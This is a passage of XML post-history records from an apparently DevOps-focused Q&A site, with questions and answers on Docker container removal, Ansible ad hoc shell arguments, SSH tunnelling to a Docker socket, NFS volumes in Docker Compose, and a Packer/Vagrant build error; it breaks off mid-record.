  <row Id="23075" PostHistoryTypeId="2" PostId="7957" RevisionGUID="f1a796e9-bb32-47f0-a0d6-7b8e680cf1e5" CreationDate="2019-04-25T19:49:06.610" UserId="7730" Text="No, docker will delete the container when it stops, and there's no update option to change that behavior. You can see this in the help output:&#xD;&#xA;&#xD;&#xA;    $ docker container update --help&#xD;&#xA;    &#xD;&#xA;    Usage:  docker container update [OPTIONS] CONTAINER [CONTAINER...]&#xD;&#xA;    &#xD;&#xA;    Update configuration of one or more containers&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;          --blkio-weight uint16        Block IO (relative weight), between 10 and 1000, or 0 to disable (default 0)&#xD;&#xA;          --cpu-period int             Limit CPU CFS (Completely Fair Scheduler) period&#xD;&#xA;          --cpu-quota int              Limit CPU CFS (Completely Fair Scheduler) quota&#xD;&#xA;          --cpu-rt-period int          Limit the CPU real-time period in microseconds&#xD;&#xA;          --cpu-rt-runtime int         Limit the CPU real-time runtime in microseconds&#xD;&#xA;      -c, --cpu-shares int             CPU shares (relative weight)&#xD;&#xA;          --cpus decimal               Number of CPUs&#xD;&#xA;          --cpuset-cpus string         CPUs in which to allow execution (0-3, 0,1)&#xD;&#xA;          --cpuset-mems string         MEMs in which to allow execution (0-3, 0,1)&#xD;&#xA;          --kernel-memory bytes        Kernel memory limit&#xD;&#xA;      -m, --memory bytes               Memory limit&#xD;&#xA;          --memory-reservation bytes   Memory soft limit&#xD;&#xA;          --memory-swap bytes          Swap limit equal to memory plus swap: '-1' to enable unlimited swap&#xD;&#xA;          --pids-limit int             Tune container pids limit (set -1 for unlimited)&#xD;&#xA;          --restart string             Restart policy to apply when a container exits&#xD;&#xA;&#xD;&#xA;You can try to copy your data out of the container with:&#xD;&#xA;&#xD;&#xA;    docker container cp $container_name:/path/in/container /path/on/host&#xD;&#xA;&#xD;&#xA;If you don't know which files to save, list which files have changed in the container with:&#xD;&#xA;&#xD;&#xA;    docker container diff $container_name" ContentLicense="CC BY-SA 4.0" />
  <row Id="23076" PostHistoryTypeId="5" PostId="7957" RevisionGUID="39bd548c-6dd2-4439-8b14-0e8a775597de" CreationDate="2019-04-25T19:51:54.930" UserId="7730" Comment="added 646 characters in body" Text="No, docker will delete the container when it stops, and there's no update option to change that behavior. You can see this in the help output:&#xD;&#xA;&#xD;&#xA;    $ docker container update --help&#xD;&#xA;    &#xD;&#xA;    Usage:  docker container update [OPTIONS] CONTAINER [CONTAINER...]&#xD;&#xA;    &#xD;&#xA;    Update configuration of one or more containers&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;          --blkio-weight uint16        Block IO (relative weight), between 10 and 1000, or 0 to disable (default 0)&#xD;&#xA;          --cpu-period int             Limit CPU CFS (Completely Fair Scheduler) period&#xD;&#xA;          --cpu-quota int              Limit CPU CFS (Completely Fair Scheduler) quota&#xD;&#xA;          --cpu-rt-period int          Limit the CPU real-time period in microseconds&#xD;&#xA;          --cpu-rt-runtime int         Limit the CPU real-time runtime in microseconds&#xD;&#xA;      -c, --cpu-shares int             CPU shares (relative weight)&#xD;&#xA;          --cpus decimal               Number of CPUs&#xD;&#xA;          --cpuset-cpus string         CPUs in which to allow execution (0-3, 0,1)&#xD;&#xA;          --cpuset-mems string         MEMs in which to allow execution (0-3, 0,1)&#xD;&#xA;          --kernel-memory bytes        Kernel memory limit&#xD;&#xA;      -m, --memory bytes               Memory limit&#xD;&#xA;          --memory-reservation bytes   Memory soft limit&#xD;&#xA;          --memory-swap bytes          Swap limit equal to memory plus swap: '-1' to enable unlimited swap&#xD;&#xA;          --pids-limit int             Tune container pids limit (set -1 for unlimited)&#xD;&#xA;          --restart string             Restart policy to apply when a container exits&#xD;&#xA;&#xD;&#xA;Trying to change the restart policy will result in an error:&#xD;&#xA;&#xD;&#xA;    $ docker run --rm --name test-rm -d busybox tail -f /dev/null                                                                                                                                                                                 &#xD;&#xA;    14a7d9bfebc3356652e3c3f060e92d9cebb9f3eb4490873540c9eb1c272f6612&#xD;&#xA;    &#xD;&#xA;    $ docker update --restart=unless-stopped test-rm&#xD;&#xA;    Error response from daemon: Cannot update container 14a7d9bfebc3356652e3c3f060e92d9cebb9f3eb4490873540c9eb1c272f6612: Restart policy cannot be updated because AutoRemove is enabled for the container&#xD;&#xA;&#xD;&#xA;You can try to copy your data out of the container with:&#xD;&#xA;&#xD;&#xA;    docker container cp $container_name:/path/in/container /path/on/host&#xD;&#xA;&#xD;&#xA;If you don't know which files to save, list which files have changed in the container with:&#xD;&#xA;&#xD;&#xA;    docker container diff $container_name&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23077" PostHistoryTypeId="4" PostId="7956" RevisionGUID="dc120813-e4ec-4f33-a1e5-4b2152f722bb" CreationDate="2019-04-25T20:12:01.203" UserId="13333" Comment="edited title" Text="Can I keep a container started with --rm option?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23078" PostHistoryTypeId="2" PostId="7958" RevisionGUID="007a8c7a-86b0-4485-895a-00a8f14d5150" CreationDate="2019-04-25T21:11:24.347" UserId="3758" Text="Is it possible to pass `args`, to the shell module when running it as an adhoc command?&#xD;&#xA;&#xD;&#xA;I can pass the `free_form` parameter using `-a`, but I am trying to figure out how to specify additional arguments, such as `chdir` or `executable`.&#xD;&#xA;&#xD;&#xA;For example, what is the adhoc equivalent to this task?&#xD;&#xA;```&#xD;&#xA;- name: Change working dir to somedir/ and run somescript.sh using bash&#xD;&#xA;  shell: somescript.sh &gt;&gt; somelog.txt&#xD;&#xA;  args:&#xD;&#xA;    chdir: somedir/&#xD;&#xA;    executable: /bin/bash&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23079" PostHistoryTypeId="1" PostId="7958" RevisionGUID="007a8c7a-86b0-4485-895a-00a8f14d5150" CreationDate="2019-04-25T21:11:24.347" UserId="3758" Text="passing args to shell module in Ansible adhoc command" ContentLicense="CC BY-SA 4.0" />
  <row Id="23080" PostHistoryTypeId="3" PostId="7958" RevisionGUID="007a8c7a-86b0-4485-895a-00a8f14d5150" CreationDate="2019-04-25T21:11:24.347" UserId="3758" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23081" PostHistoryTypeId="50" PostId="2536" RevisionGUID="97f691ef-446c-4023-83b1-f2a98af0add5" CreationDate="2019-04-25T23:01:00.323" UserId="-1" />
  <row Id="23088" PostHistoryTypeId="2" PostId="7961" RevisionGUID="c61bf9dd-0c6c-4fc7-a0e9-9298123cc055" CreationDate="2019-04-26T08:32:53.560" UserId="552" Text="why do you want to create a new manager node risking damaging your raft consensus and cie... &#xD;&#xA;&#xD;&#xA;I find it way more easier to simply expose the **docker socket** locally like you where working inside the node but with you windows environment.&#xD;&#xA;&#xD;&#xA;To do so simply open an **ssh tunnel** that expose the `/var/run/docker.sock`&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA; ssh -M -S ~/.docker.sock \&#xD;&#xA;    -fnNT -4 -L localhost:1337:/var/run/docker.sock \&#xD;&#xA;    USER@MANAGER_IP&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I let you refer to `man ssh` to see what all this options means.&#xD;&#xA;It will open an ssh tunnel you will still be on your local environment shell, only things left to do is set the proper `DOCKER_HOST` environment var, so your docker cli is bind to your swarm manager.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  export DOCKER_HOST=localhost:1337&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And that's it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: Docker include also an option to do this I've quickly search for it but can't manager to find it. It's in the most recent version of docker.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23089" PostHistoryTypeId="2" PostId="7962" RevisionGUID="5f0f51fa-af2d-4e9c-a204-67a51c74175d" CreationDate="2019-04-26T08:48:54.820" UserId="7715" Text="Append the parameters after the command. See the example below.&#xD;&#xA;&#xD;&#xA;    # ansible -m shell --args &quot;pwd; touch test; ls -1 chdir=/scratch/tmp creates=/scratch/tmp/test&quot; localhost&#xD;&#xA;    localhost | CHANGED | rc=0 &gt;&gt;&#xD;&#xA;    /scratch/tmp&#xD;&#xA;    test&#xD;&#xA;&#xD;&#xA;    # ansible -m shell --args &quot;pwd; ls -1; touch test; ls -1; exit 0 chdir=/scratch/tmp creates=/scratch/tmp/test&quot; localhost&#xD;&#xA;    localhost | SUCCESS | rc=0 &gt;&gt;&#xD;&#xA;    skipped, since /scratch/tmp/test exists&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23090" PostHistoryTypeId="2" PostId="7963" RevisionGUID="081b7b2b-b57a-4a98-a1a7-b2f59ccfbd54" CreationDate="2019-04-26T09:24:46.683" UserId="552" Text="Managing versions of different services can be tricky. For now I've never found a good HOW TO out there. Like most things you do what suit you the best. Here is a couple of suggestion you could use:&#xD;&#xA;&#xD;&#xA;-&gt; **Tag docker image with their commit sha**:&#xD;&#xA;Pretty easy to do when you are using gitlab this is an already set environment variable that you can uses when building you image in the CI/CD pipeline. It's easy to track what code this container. Also when rolling back one of your service you can see directly the merge request you are rolling back on.&#xD;&#xA;&#xD;&#xA;-&gt; **Continuous deploy on your staging environment**: &#xD;&#xA;When one is merging a new feature on the master of one of your services deploy it as soon as possible so you can test the impact on all other services. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-&gt; **When staging looks good trigger a release job**: &#xD;&#xA;That job release shall be present on all your services. The purpose of this job is to:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - Check if the service current version (commit sha) match the currently deployed in production. &#xD;&#xA; - If not trigger the deploy job to production for this commit sha pipeline.&#xD;&#xA; - If the deploy to production job work then we shall store the current sha deployed in a new folder somewhere in a K/V store that way we keep a single source of truth of what's is being deployed and when&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More on that K/V store and release job:&#xD;&#xA;&#xD;&#xA;This shall be trigger form a different pipeline on a project you use only to remotely trigger the updated versions on your whole SOA-application.&#xD;&#xA;That way we have a repo that contain a script that will trigger the job release of all the services. &#xD;&#xA;It will create a new folder on your K/V store and all the triggered release job of your application will write their current version in it (updated or not)&#xD;&#xA;Once finished only service that had change will be deployed but you will have a major version for your wall application like this on the K/V store:&#xD;&#xA;```&#xD;&#xA;release_0.1.5:&#xD;&#xA; - user_service = COMMIT_SHA&#xD;&#xA; - payment_service = COMMIT_SHA &#xD;&#xA; - organisation_service = COMMIT_SHA&#xD;&#xA; - ect..&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When this job is replay it will detect that the folder already exist and so will trigger the deploy of all the version present in it so you can rollback your App to an older state.&#xD;&#xA;&#xD;&#xA;Deploy to production job on each of your service can be protected to only be triggered from the main release project. But for quick fix reason you could also let it open just make sure it update the current K/V folder.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23091" PostHistoryTypeId="2" PostId="7964" RevisionGUID="feaabd7e-34b3-428f-9287-b53f8334079f" CreationDate="2019-04-26T10:10:14.037" UserId="7715" Text="To answer your questions:&#xD;&#xA;&#xD;&#xA;&gt; Q1: If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against? ...where can I put the specific host that is in the hosts file?&#xD;&#xA;&#xD;&#xA;To pick for example &quot;*router1*&quot; start a play with:&#xD;&#xA;&#xD;&#xA;    - hosts: router1&#xD;&#xA;&#xD;&#xA;&gt; Q2: How do I point to the playbooks that are in the root folder without backing up directories each time like this: &quot;ansible-playbook -i hosttarget ../../myplaybook.yml&quot;&#xD;&#xA;&#xD;&#xA;Configure [DEFAULT_HOST_LIST](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#default-host-list). For example:&#xD;&#xA;&#xD;&#xA;    # ANSIBLE_HOSTS=$PWD/inventory/client1/hosts; ansible-playbook myplaybook.yml&#xD;&#xA;&#xD;&#xA;&gt; Q3: How can I load additional credentials files or group variables?&#xD;&#xA;&#xD;&#xA;There is a lot of options described in [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). For example &quot;*include_vars*&quot; might be useful to load additional credentials. For &quot;group variables&quot; pick from the [options](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id17)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23092" PostHistoryTypeId="5" PostId="7964" RevisionGUID="09231d47-3c78-4981-bc75-8f6e8facdb4b" CreationDate="2019-04-26T10:49:22.060" UserId="7715" Comment="added 703 characters in body" Text="Generally Ansible is very flexible and often there are more &quot;correct&quot; solutions.&#xD;&#xA;&#xD;&#xA;Start for example with the question &quot;Where do the configuration data come from?&quot;, put the default data to the roles and decide which variables should be configured in &quot;*group_vars/host_vars*&quot;, in the roles, and which in the playbooks. Review [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). To set paths to the inventory, roles, and others see [Ansible Configuration Settings](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-configuration-settings).&#xD;&#xA;&#xD;&#xA;To answer your questions:&#xD;&#xA;&#xD;&#xA;&gt; Q1: If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against? ...where can I put the specific host that is in the hosts file?&#xD;&#xA;&#xD;&#xA;To pick for example &quot;*router1*&quot; start a play with:&#xD;&#xA;&#xD;&#xA;    - hosts: router1&#xD;&#xA;&#xD;&#xA;&gt; Q2: How do I point to the playbooks that are in the root folder without backing up directories each time like this: &quot;ansible-playbook -i hosttarget ../../myplaybook.yml&quot;&#xD;&#xA;&#xD;&#xA;Configure [DEFAULT_HOST_LIST](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#default-host-list). For example:&#xD;&#xA;&#xD;&#xA;    # ANSIBLE_HOSTS=$PWD/inventory/client1/hosts; ansible-playbook myplaybook.yml&#xD;&#xA;&#xD;&#xA;&gt; Q3: How can I load additional credentials files or group variables?&#xD;&#xA;&#xD;&#xA;There is a lot of options described in [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). For example &quot;*include_vars*&quot; might be useful to load additional credentials. For &quot;group variables&quot; pick from the [options](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id17)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23093" PostHistoryTypeId="5" PostId="7964" RevisionGUID="711dde5f-160f-4367-bfb8-65c7c111e555" CreationDate="2019-04-26T10:54:52.073" UserId="7715" Comment="added 703 characters in body" Text="Generally, Ansible is very flexible and often there are more &quot;correct&quot; solutions.&#xD;&#xA;&#xD;&#xA;Start for example with the question &quot;Where do the configuration data come from?&quot;, put the default data to the roles and decide which variables should be configured in &quot;*group_vars/host_vars*&quot;, in the roles, and which in the playbooks. Review [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). To set paths to the inventory, roles, and others see [Ansible Configuration Settings](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-configuration-settings).&#xD;&#xA;&#xD;&#xA;To answer your questions:&#xD;&#xA;&#xD;&#xA;&gt; Q1: If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against? ...where can I put the specific host that is in the hosts file?&#xD;&#xA;&#xD;&#xA;To pick for example &quot;*router1*&quot; start a play with:&#xD;&#xA;&#xD;&#xA;    - hosts: router1&#xD;&#xA;&#xD;&#xA;&gt; Q2: How do I point to the playbooks that are in the root folder without backing up directories each time like this: &quot;ansible-playbook -i hosttarget ../../myplaybook.yml&quot;&#xD;&#xA;&#xD;&#xA;Configure [DEFAULT_HOST_LIST](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#default-host-list). For example:&#xD;&#xA;&#xD;&#xA;    # ANSIBLE_HOSTS=$PWD/inventory/client1/hosts; ansible-playbook myplaybook.yml&#xD;&#xA;&#xD;&#xA;&gt; Q3: How can I load additional credentials files or group variables?&#xD;&#xA;&#xD;&#xA;There are a lot of options described in [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). For example &quot;*include_vars*&quot; might be useful to load additional credentials. For &quot;group variables&quot; pick from the [options](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id17)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23100" PostHistoryTypeId="2" PostId="7966" RevisionGUID="047d8db2-a813-44d8-975a-e43c12dfa989" CreationDate="2019-04-26T16:36:27.107" UserId="14668" Text="Are there DevOps web dashboards (open-source preferably) or dashboard frameworks that allow setting up custom buttons, levers which execute custom actions from browser?&#xD;&#xA;&#xD;&#xA;Think of &quot;Plus&quot; button which adds new AWS server, or &quot;Maintenance&quot; button which announces maintenance on Slack and locks automated cluster changes.&#xD;&#xA;&#xD;&#xA;Sure, those should be baked up by backend command execution center." ContentLicense="CC BY-SA 4.0" />
  <row Id="23101" PostHistoryTypeId="1" PostId="7966" RevisionGUID="047d8db2-a813-44d8-975a-e43c12dfa989" CreationDate="2019-04-26T16:36:27.107" UserId="14668" Text="Web dashboard with customizable actions (handles, levers, actionable buttons)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23102" PostHistoryTypeId="3" PostId="7966" RevisionGUID="047d8db2-a813-44d8-975a-e43c12dfa989" CreationDate="2019-04-26T16:36:27.107" UserId="14668" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23103" PostHistoryTypeId="50" PostId="6703" RevisionGUID="0462b6ac-0650-49ff-a4c4-2dbbfed38754" CreationDate="2019-04-26T18:02:40.523" UserId="-1" />
  <row Id="23104" PostHistoryTypeId="50" PostId="6557" RevisionGUID="2d562aee-5f44-44cb-ab0b-2899a24bfd12" CreationDate="2019-04-26T20:02:26.447" UserId="-1" />
  <row Id="23105" PostHistoryTypeId="50" PostId="6711" RevisionGUID="79534986-4ce1-441d-b610-25068fd57beb" CreationDate="2019-04-26T22:01:25.260" UserId="-1" />
  <row Id="23111" PostHistoryTypeId="50" PostId="6287" RevisionGUID="e638fee7-3272-4cf2-8672-0e9a257fa040" CreationDate="2019-04-27T16:01:00.123" UserId="-1" />
  <row Id="23118" PostHistoryTypeId="2" PostId="7970" RevisionGUID="a864c2dd-51f4-4705-87e3-e3a02f040d0a" CreationDate="2019-04-27T20:49:41.077" UserId="12596" Text="I host various docker containers on my Ubuntu 18 machine. A few of them require storing their data on my Synology NAS. At first, I was using the host machine's `/etc/fstab` to control NFS mounts, which I then mounted in the containers (as a mount, not a volume).&#xD;&#xA;&#xD;&#xA;However, I figured it would be a better idea to have the containers map NFS to mount points in the containers. The host really has no use for the mounts, so it didn't make sense to maintain them there.&#xD;&#xA;&#xD;&#xA;At the moment, I am configuring my NFS volumes like this (using Docker Compose v3 format):&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;volumes:&#xD;&#xA;  data:&#xD;&#xA;    driver_opts:&#xD;&#xA;      type: nfs&#xD;&#xA;      o: addr=192.168.1.51,nolock,soft,rw&#xD;&#xA;      device: :/volume2/nextcloud&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This works great when the NAS is booted and working normally. However, I had a power outage and noticed all sorts of problems. Also, the timing of which machines boot first (NAS vs Ubuntu box) affects reliability of my docker container volumes. In my last situation, the NAS was not powered on. So when the container was started, it failed:&#xD;&#xA;&#xD;&#xA;&gt; ERROR: for app  Cannot start service app: error while mounting volume '/var/lib/docker/volumes/nextcloud_data/_data': error while mounting volume with options: type='nfs' device=':/volume2/nextcloud' o='addr=192.168.1.51,nolock,soft,rw': no route to host&#xD;&#xA;&#xD;&#xA;What would be nice is if docker would keep retrying to mount the volume until the NAS was powered on again. That would make this hands-free and prevent any timing issues (on which devices boot first across the network) from causing permanent failures like this.&#xD;&#xA;&#xD;&#xA;I'm also not sure what happens if a volume is created, and the NAS is powered off at any point. Does the volume stay available? Does docker keep trying to reconnect the NFS mount? I feel like there is very little control here.&#xD;&#xA;&#xD;&#xA;Note I just use Docker Compose. I don't use Swarm for technical reasons I won't go into here. Can someone recommend a way to resolve these reliability issues? Are NFS volumes in Docker the way to go? Should I go back to mounting on the host? Is there an amazing 3rd option out there somewhere?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23119" PostHistoryTypeId="1" PostId="7970" RevisionGUID="a864c2dd-51f4-4705-87e3-e3a02f040d0a" CreationDate="2019-04-27T20:49:41.077" UserId="12596" Text="How do I make NFS volumes reliable in Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23120" PostHistoryTypeId="3" PostId="7970" RevisionGUID="a864c2dd-51f4-4705-87e3-e3a02f040d0a" CreationDate="2019-04-27T20:49:41.077" UserId="12596" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23121" PostHistoryTypeId="50" PostId="5403" RevisionGUID="e021b957-4b70-4e51-9480-0c4c9947b696" CreationDate="2019-04-27T21:02:15.703" UserId="-1" />
  <row Id="23122" PostHistoryTypeId="50" PostId="4791" RevisionGUID="d4087f57-6e32-4a7c-98c3-a78457a63f4a" CreationDate="2019-04-27T22:00:55.130" UserId="-1" />
  <row Id="23123" PostHistoryTypeId="50" PostId="6708" RevisionGUID="2cd45069-b206-4bbc-b5a4-a4cd4292d292" CreationDate="2019-04-27T23:01:15.217" UserId="-1" />
  <row Id="23124" PostHistoryTypeId="2" PostId="7971" RevisionGUID="a7adcb5b-2f72-4efb-bc3d-dd907fdb5b4a" CreationDate="2019-04-28T00:42:40.513" UserId="14678" Text="I'm building my Windows server 2012 vm with packer and when I'm doing a `vagrant up` it's failing because the folder name already exists…&#xD;&#xA;&#xD;&#xA;Here is my json file for packer&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;builders&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;boot_wait&quot;: &quot;2m&quot;,&#xD;&#xA;      &quot;communicator&quot;: &quot;winrm&quot;,&#xD;&#xA;      &quot;disk_size&quot;: &quot;{{user `disk_size`}}&quot;,&#xD;&#xA;      &quot;floppy_files&quot;: [&#xD;&#xA;        &quot;{{user `autounattend`}}&quot;,&#xD;&#xA;        &quot;./scripts/disable-winrm.ps1&quot;,&#xD;&#xA;        &quot;./scripts/enable-winrm.ps1&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;guest_additions_mode&quot;: &quot;disable&quot;,&#xD;&#xA;      &quot;guest_os_type&quot;: &quot;Windows2012_64&quot;,&#xD;&#xA;      &quot;headless&quot;: &quot;{{user `headless`}}&quot;,&#xD;&#xA;      &quot;iso_checksum&quot;: &quot;{{user `iso_checksum`}}&quot;,&#xD;&#xA;      &quot;iso_checksum_type&quot;: &quot;{{user `iso_checksum_type`}}&quot;,&#xD;&#xA;      &quot;iso_url&quot;: &quot;{{user `iso_url`}}&quot;,&#xD;&#xA;      &quot;shutdown_command&quot;: &quot;shutdown /s /t 10 /f /d p:4:1 /c \&quot;Packer Shutdown\&quot;&quot;,&#xD;&#xA;      &quot;type&quot;: &quot;virtualbox-iso&quot;,&#xD;&#xA;      &quot;vboxmanage&quot;: [&#xD;&#xA;        [&#xD;&#xA;          &quot;modifyvm&quot;,&#xD;&#xA;          &quot;{{.Name}}&quot;,&#xD;&#xA;          &quot;--memory&quot;,&#xD;&#xA;          &quot;2048&quot;&#xD;&#xA;        ],&#xD;&#xA;        [&#xD;&#xA;          &quot;modifyvm&quot;,&#xD;&#xA;          &quot;{{.Name}}&quot;,&#xD;&#xA;          &quot;--nic1&quot;,&#xD;&#xA;          &quot;NAT&quot;&#xD;&#xA;        ],&#xD;&#xA;        [&#xD;&#xA;          &quot;modifyvm&quot;,&#xD;&#xA;          &quot;{{.Name}}&quot;,&#xD;&#xA;          &quot;--cpus&quot;,&#xD;&#xA;          &quot;2&quot;&#xD;&#xA;        ]&#xD;&#xA;      ],&#xD;&#xA;      &quot;vm_name&quot;: &quot;windows_2012_r2&quot;,&#xD;&#xA;      &quot;winrm_password&quot;: &quot;vagrant&quot;,&#xD;&#xA;      &quot;winrm_timeout&quot;: &quot;{{user `winrm_timeout`}}&quot;,&#xD;&#xA;      &quot;winrm_username&quot;: &quot;vagrant&quot;&#xD;&#xA;    }&#xD;&#xA;  ],&#xD;&#xA;  &quot;post-processors&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;keep_input_artifact&quot;: false,&#xD;&#xA;      &quot;output&quot;: &quot;vagrantenv/windows_2012_r2_{{.Provider}}.box&quot;,&#xD;&#xA;      &quot;type&quot;: &quot;vagrant&quot;,&#xD;&#xA;      &quot;vagrantfile_template&quot;: &quot;vagrantfile-windows_2012_r2.template&quot;&#xD;&#xA;    }&#xD;&#xA;  ],&#xD;&#xA;  &quot;provisioners&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;scripts&quot;: [&#xD;&#xA;        &quot;./scripts/vm-guest-tools.bat&quot;,&#xD;&#xA;        &quot;./scripts/enable-rdp.bat&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;type&quot;: &quot;windows-shell&quot;&#xD;&#xA;    }&#xD;&#xA;  ],&#xD;&#xA;  &quot;variables&quot;: {&#xD;&#xA;    &quot;autounattend&quot;: &quot;./answer_files/2012_r2/Autounattend.xml&quot;,&#xD;&#xA;    &quot;disk_size&quot;: &quot;61440&quot;,&#xD;&#xA;    &quot;disk_type_id&quot;: &quot;1&quot;,&#xD;&#xA;    &quot;headless&quot;: &quot;true&quot;,&#xD;&#xA;    &quot;iso_checksum&quot;: &quot;5b5e08c490ad16b59b1d9fab0def883a&quot;,&#xD;&#xA;    &quot;iso_checksum_type&quot;: &quot;md5&quot;,&#xD;&#xA;    &quot;iso_url&quot;: &quot;./iso/windows_2012_r2.iso&quot;,&#xD;&#xA;    &quot;winrm_timeout&quot;: &quot;30m&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;And my `post-processors` template&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# -*- mode: ruby -*-&#xD;&#xA;# vi: set ft=ruby :&#xD;&#xA;&#xD;&#xA;Vagrant.require_version &quot;&gt;= 1.6.2&quot;&#xD;&#xA;&#xD;&#xA;Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;    config.vm.box = &quot;windows_2012_r2&quot;&#xD;&#xA;    config.vm.communicator = &quot;winrm&quot;&#xD;&#xA;&#xD;&#xA;    # Admin user name and password&#xD;&#xA;    config.winrm.username = &quot;vagrant&quot;&#xD;&#xA;    config.winrm.password = &quot;vagrant&quot;&#xD;&#xA;&#xD;&#xA;    config.vm.guest = :windows&#xD;&#xA;    config.windows.halt_timeout = 15&#xD;&#xA;&#xD;&#xA;    config.vm.network :forwarded_port, guest: 3389, host: 3389, id: &quot;rdp&quot;, auto_correct: true&#xD;&#xA;&#xD;&#xA;    config.vm.provider :virtualbox do |v, override|&#xD;&#xA;        #v.gui = true&#xD;&#xA;        v.name = &quot;windows_2012_r2&quot;&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--memory&quot;, 2048]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--cpus&quot;, 2]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--vram&quot;, 128]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--clipboard&quot;, &quot;bidirectional&quot;]&#xD;&#xA;        v.customize [&quot;setextradata&quot;, &quot;global&quot;, &quot;GUI/SuppressMessages&quot;, &quot;all&quot; ]&#xD;&#xA;        end&#xD;&#xA;end&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This steps works porperly and I end up with a file `windows_2012_r2_virtualbox.box`&#xD;&#xA;&#xD;&#xA;Then I run `vagrant init -f windows_2012_r2 windows_2012_r2_virtualbox.box`&#xD;&#xA;&#xD;&#xA;and finally `vagrant up`&#xD;&#xA;&#xD;&#xA;following this I'm getting the error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Bringing machine 'default' up with 'virtualbox' provider...&#xD;&#xA;==&gt; default: Box 'windows_2012_r2' could not be found. Attempting to find and install...&#xD;&#xA;    default: Box Provider: virtualbox&#xD;&#xA;    default: Box Version: &gt;= 0&#xD;&#xA;==&gt; default: Box file was not detected as metadata. Adding it directly...&#xD;&#xA;==&gt; default: Adding box 'windows_2012_r2' (v0) for provider: virtualbox&#xD;&#xA;    default: Unpacking necessary files from: file:///D:/Dev/packer-windows/vagrantenv/windows_2012_r2_virtualbox.box&#xD;&#xA;    default:&#xD;&#xA;==&gt; default: Successfully added box 'windows_2012_r2' (v0) for 'virtualbox'!&#xD;&#xA;==&gt; default: Importing base box 'windows_2012_r2'...&#xD;&#xA;==&gt; default: Matching MAC address for NAT networking...&#xD;&#xA;==&gt; default: Setting the name of the VM: windows_2012_r2&#xD;&#xA;The name of your virtual machine couldn't be set because VirtualBox&#xD;&#xA;is reporting another VM with that name already exists. Most of the&#xD;&#xA;time, this is because of an error with VirtualBox not cleaning up&#xD;&#xA;properly. To fix this, verify that no VMs with that name do exist&#xD;&#xA;(by opening the VirtualBox GUI). If they don't, then look at the&#xD;&#xA;folder in the error message from VirtualBox below and remove it&#xD;&#xA;if there isn't any information you need in there.&#xD;&#xA;&#xD;&#xA;VirtualBox error:&#xD;&#xA;&#xD;&#xA;VBoxManage.exe: error: Could not rename the directory 